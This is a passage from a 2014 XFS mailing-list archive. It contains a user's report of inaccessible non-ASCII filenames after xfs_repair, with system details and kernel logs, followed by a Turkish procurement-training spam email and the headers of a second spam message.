Sep > 11 2010 08 - Flu Shot.m4v > > So the file exists in the directory listing (`ls` and `find` can both > see it) but I cannot delete or stat or open it. If I touch the > affected filename I get a second entry in the directory listing, both > apparently pointing to the same, new, empty file. If I then delete > the same filename I get back to the original state a single, > unusable directory entry. > > Id like to (if possible) re-link those directory listings to the > related files, or at least delete them so the files can be restored > and folders can be used normally. Im also worried that running > xfs_repair in the future might re-create this problem. > > But I dont even know where to start in trying to fix this. And I > still cannot delete the file that started this whole sequence of > events. So if anyone has suggestions Id be happy to hear them. Start here: http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F If this is due to a bug it may have already been fixed. Note the first two things asked for. -- Stan From zach@kotlarek.com Sun Jan 12 13:54:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 76BC17F3F for ; Sun, 12 Jan 2014 13:54:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0722CAC004 for ; Sun, 12 Jan 2014 11:54:10 -0800 (PST) X-ASG-Debug-ID: 1389556445-04bdf00fdf668160001-NocioJ Received: from mail.uberzach.com (rondo.uberzach.com [64.22.125.169]) by cuda.sgi.com with ESMTP id ExQPusm9XGwC7qR3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 12 Jan 2014 11:54:06 -0800 (PST) X-Barracuda-Envelope-From: zach@kotlarek.com X-Barracuda-Apparent-Source-IP: 64.22.125.169 Received: from archer.uberzach.com (unknown [IPv6:2602:3f:e50d:7605:60c:ceff:fed3:ff7e]) (Authenticated sender: profplump) by mail.uberzach.com (Postfix) with ESMTPSA id BB7D058019 for ; Sun, 12 Jan 2014 11:54:02 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=kotlarek.com; s=default; t=1389556443; bh=IlQK5pjUk68B28Z9okJDuoz9UIXcKRZ+suEVzoYNggM=; h=From:Content-Type:Message-Id:Mime-Version:Subject:Date:References: To:In-Reply-To; b=SF4ZAZMPxzVisJ+SCl849j+g+Z8dK50W/JEOJRMAjbNvdB/wFI8yHm4L21UhOCy7S sHHqTsngpUohHa7MIZc3m+DlrneBgISJMtfcka5oNREwys2R1slLiakn1iGxtV+ND1 2JEe93TEkWdAprru5IpziiOtR/eC1NGfcOUvYjFQ= From: Zachary Kotlarek Content-Type: multipart/signed; boundary="Apple-Mail=_A290B4EA-88F9-4CC2-A8A6-45CE1D43F781"; protocol="application/pkcs7-signature"; micalg=sha1 Message-Id: Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Date: Sun, 12 Jan 2014 11:53:59 -0800 X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <52D2E358.6070106@hardwarefreak.com> To: xfs@oss.sgi.com In-Reply-To: <52D2E358.6070106@hardwarefreak.com> X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: rondo.uberzach.com[64.22.125.169] X-Barracuda-Start-Time: 1389556445 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144014 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.10 BSF_SC0_SA085 Custom Rule SA085 --Apple-Mail=_A290B4EA-88F9-4CC2-A8A6-45CE1D43F781 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On Jan 12, 2014, at 10:47 AM, Stan Hoeppner = wrote: > = http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when= _reporting_a_problem.3F >=20 > If this is due to a bug it may have already been fixed. Note the = first > two things asked for. Thanks for the pointer. My kernels a bit old, but xfsprogs is shiny and new: Linux vera 2.6.39.2 #1 SMP Fri Sep 30 23:55:41 PDT 2011 x86_64 x86_64 = x86_64 GNU/Linux xfs_repair version 3.1.11 2x4 core CPUs 8 GB RAM, mostly free (more than 6 GB cached) Related mount: /dev/lvmsas/tv /mnt/media/TV xfs = rw,nosuid,nodev,noexec,relatime,attr2,delaylog,inode64,sunit=3D1024,swidth= =3D4096,noquota 0 0 Underlying partition: 254 31 16252928000 dm-31 Which is a no-frills LVM2 volume allocation over mdadm raid-6. meta-data=3D/dev/lvmsas/tv isize=3D256 agcount=3D33, = agsize=3D126975872 blks =3D sectsz=3D512 attr=3D2 data =3D bsize=3D4096 blocks=3D4063232000, = imaxpct=3D5 =3D sunit=3D128 swidth=3D512 blks naming =3Dversion 2 bsize=3D4096 ascii-ci=3D1 log =3Dinternal bsize=3D4096 blocks=3D521728, = version=3D2 =3D sectsz=3D512 sunit=3D8 blks, = lazy-count=3D1 realtime =3Dnone extsz=3D4096 blocks=3D0, = rtextents=3D0 Attempts to access the now-busted files/directories with accents in = their paths result in a kernel log like: Jan 11 02:05:39 vera XFS (dm-31): I/O error occurred: meta-data dev = dm-31 block 0x3c8ff73e0 ("xfs_trans_read_buf") error 11 buf count = 4096 Original failure never hit the persistent log so I don=92t have that; = the system would not shutdown cleanly and I kill it after several errors = like: Filesystem "dm-31": xfs_log_force: error 5 returned. It claimed to be unmounted at that point (it didn=92t show up in = /proc/mounts) but the related [xfsbufd/dm-31] process was still running = and could not be killed. Zach --Apple-Mail=_A290B4EA-88F9-4CC2-A8A6-45CE1D43F781 Content-Disposition: attachment; filename=smime.p7s Content-Type: application/pkcs7-signature; name=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGGTCCBhUw ggP9oAMCAQICAQEwDQYJKoZIhvcNAQEFBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNo aW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMRUw EwYDVQQDDAx1YmVyemFjaC5jb20xIDAeBgkqhkiG9w0BCQEWEXphY2hAa290bGFyZWsuY29tMB4X DTEzMDgxMzAwMjMzM1oXDTE4MDgxMjAwMjMzM1owgZIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApX YXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVr MRwwGgYDVQQDDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxh cmVrLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANL424NB+EzPp7/CqB/kxV+u 7MSpl9A8NlMqLldoPPJjpEwH9+4wfYrx+yUOBddih4WIgCD9NiF41+9tHu9gUqm+PZT8kdGXUIRP fuQuwKyzAv0rSyydXBQD/Q/gRrFaEJvJ5wVUxgE51K/ugGATmyWTSeMwATOJR4qTs1u2dfxBliyR xc2LCJCAgvuonwhfP1JprFYz+ycmlb/od3cAC5+8ggof5YJiitsUM6FPQtDykGPNWxhFnBwrVlQ+ vAxA1aT2v33C4MMK3hY3Ik8BUCZrAr4r/eWDSCBmcQydoawrUllAzEsVuozYqOW+EwbFp9RFDAZZ UZH/pMSEK5v2yQcf2m3zx4+9S5fLbvX660DFY90C1GSt9MyDjfpgx+Mtx7RtJI2abcei2PEXt38p U2aLypsHWsdloWhouzM4JpTkDXqCyUOm5hkUPgMdOXKHY5jCj0e7ok/Rknty7fJjolo4uyOKfJHQ cjoU1xuzA8ob0i8zufIL03FUK72dWL7xyAGjRs4Hsa6xd/SbPYGvYHJ2afxLeTDPZwzrLErxn9no E0wkAPnV0MfYbB+0Y/+Xaa2KIUflawzh3iQVkohrzmE9PU3gjiQJ9UqYtvx8HrUK2eEjCRinnSd5 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 cF3fc1/6gQAAAAAAAA== --Apple-Mail=_A290B4EA-88F9-4CC2-A8A6-45CE1D43F781-- From begitimduyurulari@gmail.com Sun Jan 12 16:27:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.4 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO, HTML_MESSAGE,MISSING_MIMEOLE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5C1287F3F for ; Sun, 12 Jan 2014 16:27:52 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0318EAC002 for ; Sun, 12 Jan 2014 14:27:48 -0800 (PST) X-ASG-Debug-ID: 1389565664-04bdf00fdf66def0001-w1Z2WR Received: from mail.egitimbul.info (mail.egitimbul.info [213.144.118.87]) by cuda.sgi.com with ESMTP id qMpUbA3RqCFMuwFP for ; Sun, 12 Jan 2014 14:27:46 -0800 (PST) X-Barracuda-Envelope-From: begitimduyurulari@gmail.com X-Barracuda-Apparent-Source-IP: 213.144.118.87 Received: from pc1 (78.180.106.209.dynamic.ttnet.com.tr [78.180.106.209]) by mail.egitimbul.info with SMTP; Mon, 13 Jan 2014 00:27:34 +0200 MIME-Version: 1.0 From: "Satinalmacilar" Reply-To: biymed@gmail.com To: linux-xfs@oss.sgi.com Subject: =?iso-8859-9?Q?Sat=FDnalma=92da_ileri_Y=F6netim_Teknikleri_?= Content-Type: multipart/alternative; boundary="----=_NextPart_001_0FE3_25126CD5.3D095DA4" X-ASG-Orig-Subj: =?iso-8859-9?Q?Sat=FDnalma=92da_ileri_Y=F6netim_Teknikleri_?= X-Mailer: Smart_Send_2_0_138 Date: Mon, 13 Jan 2014 00:27:27 +0200 Message-ID: <1296198953104289627145@pc1> Disposition-Notification-To: X-Priority: 1 X-MSMail-Priority: High X-Barracuda-Connect: mail.egitimbul.info[213.144.118.87] X-Barracuda-Start-Time: 1389565665 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.40 X-Barracuda-Spam-Status: No, SCORE=1.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FUZZY_CREDIT, HTML_MESSAGE, K2_MISSING_MIMEOLE, MISSING_MIMEOLE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144018 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FUZZY_CREDIT BODY: Attempt to obfuscate words in spam 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 MISSING_MIMEOLE Message has X-MSMail-Priority, but no X-MimeOLE 1.19 K2_MISSING_MIMEOLE Message has X-MSMail-Priority, but no X-MimeOLE ------=_NextPart_001_0FE3_25126CD5.3D095DA4 Content-Type: text/plain; charset="iso-8859-9" Content-Transfer-Encoding: quoted-printable B i y m e d E g i t i m v e D a n i s m a n l i k H i z m e t l e r= i Sat=FDnalma=92da ileri Y=F6netim Teknikleri E=F0itimi 18-19 Ocak 2014 Ama=E7: Sat=FDnalma profesyonellerinin ileri sat=FDnalma tekniklerini hayata ge=E7i= rerek sat=FDnalmalar=FDn=FD geli=FEtirip daha etkin bir sat=FDnalma y=F6net= imi sa=F0lamak. =DD=E7erik : 1. G=FCn 1.1. Stratejik Sat=FDnalma Anlay=FD=FE=FDn=FDn Adapte Edilmesi Stratejik Y=F6netim ve Stratejik Sat=FDnalma Sat=FDnalma=92da KEFE Analizi ve K=FDyaslama Sat=FDnalman=FDn Organizasyondaki Yeri ve =D6nemi Sat=FDnalma Departman=FDn Organizasyonu ve Yap=FDlanmas=FD Sat=FDnalma Performans Kriterleri Do=F0ru Fiyat Yol Haritas=FD =DCst Y=F6netimin Sat=FDnalma=92dan Beklentileri Sat=FDnalma Profesyonellerinde Olmas=FD Gereken =D6zellikler 1.2.=DDleri Tedarik=E7i Y=F6netimi Firmaya =D6zg=FC Tedarik=E7i Profili Belirleme Yapay-Dikey Yap=FDlanma ve Tedarik=E7i Say=FDs=FD Belirleme Tek Tedarik=E7i Do=F0ru Mudur=3F Tedarik=E7i Ara=FEt=FDrma ve Se=E7me Global Sourcing =96 Supply Market Tedarik=E7ilere G=F6re Stratejiler Farkl=FD =DEirketlerden Sat=FDnalma Taktikleri Tedarik=E7i =DDli=FEkileri Y=F6netimi (SRM) Tedarik=E7i El Kitab=FD Tedarik=E7i De=F0erlendirme Tedarik=E7i Geli=FEtirme Tedarik=E7i Risk Analizi Tedarik=E7i =C7e=FEitlendirme Tedarik=E7i Zinciri Y=F6netimi Tedarik=E7i=92nin Y=F6netti=F0i Stok (VMI) Ortakla=FEa Planlama, Tahmin ve Yenileme e-Tedarik Tedarik=E7i =D6d=FCllendirme Sistemleri / Tedarik=E7i G=FCnleri 1.3.=DDleri Fiyat Y=F6netimi Fiyat Analizleri ve Fiyat Form=FClasyonlar=FD Landed Cost Hesaplamalar=FD Miktara G=F6re Fiyat De=F0i=FEmeli mi=3F Sat=FDnalma=92da Fiyat S=FCrekli D=FC=FE=FCr=FClebilir mi=3F Modern Maliyet D=FC=FE=FCrme Teknikleri 1.4.Fiyat M=FCzakereleri Fiyat M=FCzakeresine Girmeden =D6nce Yap=FDlmas=FD Gerekenler M=FCzakere S=FCrecinde Bilinmesi Gerekenler Beden Dilinin M=FCzakerelerde Kullan=FDlmas=FD 2. G=FCn 2.1.S=F6zle=FEme Y=F6netimi ve D=FD=FE Kaynak Kullan=FDm=FD S=F6zle=FEme Maddelerinin Sat=FDnalma A=E7=FDs=FDndan =D6nemi =D6rnek S=F6zle=FEme Maddeleri e-S=F6zle=FEmeler / e-imza Ta=FEeron S=F6zle=FEmeleri =93Yap-Sat=FDn Al=94 Kararlar=FD =DDleri Sat=FDnalma=92da D=FD=FE Kaynak Kullan=FDm=FD 2.2.Uluslararas=FD Teslim =DEekilleri (Incoterms) ve =D6deme Y=F6ntemleri Incoterms2010 Teslim =DEekilleri Pe=FEin =D6deme, Vesaik Mukabili =D6deme, Mukabili =D6deme ve Akreditifli = =D6deme Leasing, Factoring, Fortfaiting, Franchising 2.3.Uluslararas=FD Sat=FDnalma Y=F6netimi Uluslararas=FD Sat=FDnalma=92da Tedarik=E7i ve Fiyat Y=F6netimi =DClkelere G=F6re Fiyat G=F6r=FC=FEme Stratejileri 2.4.Endirekt Sat=FDnalma Y=F6netimi Endirekt Sat=FDnalma=92da Tedarik=E7i ve Fiyat Y=F6netimi Endirekt Sat=FDnalma=92n=FDn Kategorize Edilmesi Endirekt Sat=FDnalma=92da Direkt Sat=FDnalma Anlay=FD=FE=FD Endirekt Sat=FDnalma=92da D=FD=FE Kaynak Kullan=FDm=FD Endirekt Sat=FDnalma=92da Maliyet Tasarruflar=FD Endirekt Sat=FDnalma=92n=FDn Gelece=F0i ve e-=C7=F6z=FCmler Endirekt Sat=FDnalma=92da En S=FDk G=F6r=FClen Eksiklikler 2.5.Sat=FDnalma Raporlama Y=F6ntemleri ve Modern Teknikler Sat=FDnalma Raporlar=FD ve ABC Analizleri Merkezi ve Yerel Sat=FDnalma Yal=FDn Sat=FDnalma e-Sat=FDnalma / e-=DDhaleler 2.6.Sat=FDnalma B=FCt=E7e Y=F6netimi Mevcut D=F6nem Fiyat Analizleri Gelecek D=F6nem Tahminleri Sat=FDnal=FDnacak Malzeme/Hizmet Tahminleri Gelecek D=F6nem Fiyat Analizleri Gelecek D=F6nem Tedarik=E7i Belirleme ve Da=F0=FDl=FDm=FD Gelecek D=F6nem Fiyat ve Tedarik=E7i Stratejileri Diger Egitimler 25-26 Ocak 2014 Yoneticilik ve Liderlik Egitimi 25-26 Ocak 2014 Egitimcinin Egitimi 25-26 Ocak 2014 Ofis Yonetimi ve Yonetici Asistanligi Egitimi 25-26 Ocak 2014 Uretim Planlama Egitimi 1-2 Subat 2014 Depo ve Stok Yonetimi Egitimi =20 B i y m e d E g i t i m Egitim ve Danismanlik Hizmetleri 0 212 230 90 09 e g i t i m @ b i y m e d . c o m =20 =20 =20 remove email =20 ------=_NextPart_001_0FE3_25126CD5.3D095DA4 Content-Type: text/html; charset="iso-8859-9" Content-Transfer-Encoding: quoted-printable

B i y m e d   E g i t i m   v e&n= bsp;  D a n i s m a n l i k   H i z m e t l e r i=

Sat=FDnalma=92da ileri Y=F6netim T= eknikleri E=F0itimi
18-19 Ocak 2014

Ama=E7:

Sat=FDnalma profesyonellerinin ileri sat=FDna= lma tekniklerini hayata ge=E7irerek sat=FDnalmalar=FDn=FD geli=FEtirip daha= etkin bir sat=FDnalma y=F6netimi sa=F0lamak.

=DD=E7erik :

1. G=FCn

  • 1.1. Stratejik Sat=FDnalma Anlay=FD=FE=FDn=FDn Adapte Edilmesi=20

    • Stratejik Y=F6netim ve Stratejik Sat=FDnalma

    • Sat=FDnalma=92da KEFE Analizi ve K=FDyaslama

    • Sat=FDnalman=FDn Organizasyondaki Yeri ve =D6nemi

    • Sat=FDnalma Departman=FDn Organizasyonu ve Yap=FDlanmas=FD

    • Sat=FDnalma Performans Kriterleri

    • Do=F0ru Fiyat Yol Haritas=FD

    • =DCst Y=F6netimin Sat=FDnalma=92dan Beklentileri

    • Sat=FDnalma Profesyonellerinde Olmas=FD Gereken =D6zellikler

  • 1.2.=DDleri Tedarik=E7i Y=F6netimi=20

    • Firmaya =D6zg=FC Tedarik=E7i Profili Belirleme

    • Yapay-Dikey Yap=FDlanma ve Tedarik=E7i Say=FDs=FD Belirleme

    • Tek Tedarik=E7i Do=F0ru Mudur=3F

    • Tedarik=E7i Ara=FEt=FDrma ve Se=E7me

    • Global Sourcing =96 Supply Market

    • Tedarik=E7ilere G=F6re Stratejiler

    • Farkl=FD =DEirketlerden Sat=FDnalma Taktikleri

    • Tedarik=E7i =DDli=FEkileri Y=F6netimi (SRM)

    • Tedarik=E7i El Kitab=FD

    • Tedarik=E7i De=F0erlendirme

    • Tedarik=E7i Geli=FEtirme

    • Tedarik=E7i Risk Analizi

    • Tedarik=E7i =C7e=FEitlendirme

    • Tedarik=E7i Zinciri Y=F6netimi

    • Tedarik=E7i=92nin Y=F6netti=F0i Stok (VMI)

    • Ortakla=FEa Planlama, Tahmin ve Yenileme

    • e-Tedarik

    • Tedarik=E7i =D6d=FCllendirme Sistemleri / Tedarik=E7i G=FCnleri =

  • 1.3.=DDleri Fiyat Y=F6netimi=20

    • Fiyat Analizleri ve Fiyat Form=FClasyonlar=FD

    • Landed Cost Hesaplamalar=FD

    • Miktara G=F6re Fiyat De=F0i=FEmeli mi=3F

    • Sat=FDnalma=92da Fiyat S=FCrekli D=FC=FE=FCr=FClebilir mi=3F

    • Modern Maliyet D=FC=FE=FCrme Teknikleri

  • 1.4.Fiyat M=FCzakereleri=20

    • Fiyat M=FCzakeresine Girmeden =D6nce Yap=FDlmas=FD Gerekenler

    • M=FCzakere S=FCrecinde Bilinmesi Gerekenler

    • Beden Dilinin M=FCzakerelerde Kullan=FDlmas=FD

2. G=FCn

  • 2.1.S=F6zle=FEme Y=F6netimi ve D=FD=FE Kaynak Kullan=FDm=FD=20

    • S=F6zle=FEme Maddelerinin Sat=FDnalma A=E7=FDs=FDndan =D6nemi

    • =D6rnek S=F6zle=FEme Maddeleri

    • e-S=F6zle=FEmeler / e-imza

    • Ta=FEeron S=F6zle=FEmeleri

    • =93Yap-Sat=FDn Al=94 Kararlar=FD

    • =DDleri Sat=FDnalma=92da D=FD=FE Kaynak Kullan=FDm=FD

    • <= /UL>
    • 2.2.Uluslararas=FD Teslim =DEekilleri (Incoterms) ve =D6deme Y=F6nte= mleri=20

      • Incoterms2010 Teslim =DEekilleri

      • Pe=FEin =D6deme, Vesaik Mukabili =D6deme, Mukabili =D6deme ve Akreditif= li =D6deme

      • Leasing, Factoring, Fortfaiting, Franchising

    • 2.3.Uluslararas=FD Sat=FDnalma Y=F6netimi=20

      • Uluslararas=FD Sat=FDnalma=92da Tedarik=E7i ve Fiyat Y=F6netimi =

      • =DClkelere G=F6re Fiyat G=F6r=FC=FEme Stratejileri

    • 2.4.Endirekt Sat=FDnalma Y=F6netimi=20

      • Endirekt Sat=FDnalma=92da Tedarik=E7i ve Fiyat Y=F6netimi

      • Endirekt Sat=FDnalma=92n=FDn Kategorize Edilmesi

      • Endirekt Sat=FDnalma=92da Direkt Sat=FDnalma Anlay=FD=FE=FD

      • Endirekt Sat=FDnalma=92da D=FD=FE Kaynak Kullan=FDm=FD

      • Endirekt Sat=FDnalma=92da Maliyet Tasarruflar=FD

      • Endirekt Sat=FDnalma=92n=FDn Gelece=F0i ve e-=C7=F6z=FCmler

      • Endirekt Sat=FDnalma=92da En S=FDk G=F6r=FClen Eksiklikler

        <= /LI>
    • 2.5.Sat=FDnalma Raporlama Y=F6ntemleri ve Modern Teknikler=20

      • Sat=FDnalma Raporlar=FD ve ABC Analizleri

      • Merkezi ve Yerel Sat=FDnalma

      • Yal=FDn Sat=FDnalma

      • e-Sat=FDnalma / e-=DDhaleler

    • 2.6.Sat=FDnalma B=FCt=E7e Y=F6netimi=20

      • Mevcut D=F6nem Fiyat Analizleri

      • Gelecek D=F6nem Tahminleri

      • Sat=FDnal=FDnacak Malzeme/Hizmet Tahminleri

      • Gelecek D=F6nem Fiyat Analizleri

      • Gelecek D=F6nem Tedarik=E7i Belirleme ve Da=F0=FDl=FDm=FD

      • Gelecek D=F6nem Fiyat ve Tedarik=E7i Stratejileri

      =

Diger Egitimler

25-26 Ocak 2014Yoneticilik ve Liderlik Egitimi<= /P>

25-26 Ocak 2014Egitimcinin Egitimi

25-26 Ocak 2014Ofis Yonetimi ve Yonetici Asistanligi Egiti= mi

25-26 Ocak 2014Uretim Planlama Egitimi

1-2 Subat 2014
= Depo ve Stok Yonetimi Egitimi
 
<= /FONT>

B i y m e d  E g i t i m
Egiti= m ve Danismanlik Hizmetleri

0 212 230 90 09

 

 

 

 remove email

 

------=_NextPart_001_0FE3_25126CD5.3D095DA4-- From customer_servicess@post.com Sun Jan 12 17:20:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5DD3929DF8 for ; Sun, 12 Jan 2014 17:20:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4973A304032 for ; Sun, 12 Jan 2014 15:20:22 -0800 (PST) X-ASG-Debug-ID: 1389568820-04cbb04169d6c2b0001-w1Z2WR Received: from mail.dnsroots.com (mail.dnsroots.com [108.168.143.191]) by cuda.sgi.com with ESMTP id AHmwRg4Sq9h990f7 for ; Sun, 12 Jan 2014 15:20:20 -0800 (PST) X-Barracuda-Envelope-From: customer_servicess@post.com X-Barracuda-Apparent-Source-IP: 108.168.143.191 Received: from abts-mum-dynamic-115.82.170.122.airtelbroadband.in [122.170.82.115] by mail.dnsroots.com with SMTP; Sun, 12 Jan 2014 13:45:08 -0600 Message-ID: <021b4545-41652-2ac50520072338@space2let> Reply-To: "Customer Support" From: "Customer Support" To: linux-xfs@oss.sgi.com Subject: Happy Makar Sankranti to linux-xfs@oss.sgi.com Date: Mon, 13 Jan 2014 01:13:54 +0530 X-ASG-Orig-Subj: Happy Makar Sankranti to linux-xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Priority: 3 X-Barracuda-Connect: mail.dnsroots.com[108.168.143.191] X-Barracuda-Start-Time: 1389568820 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of 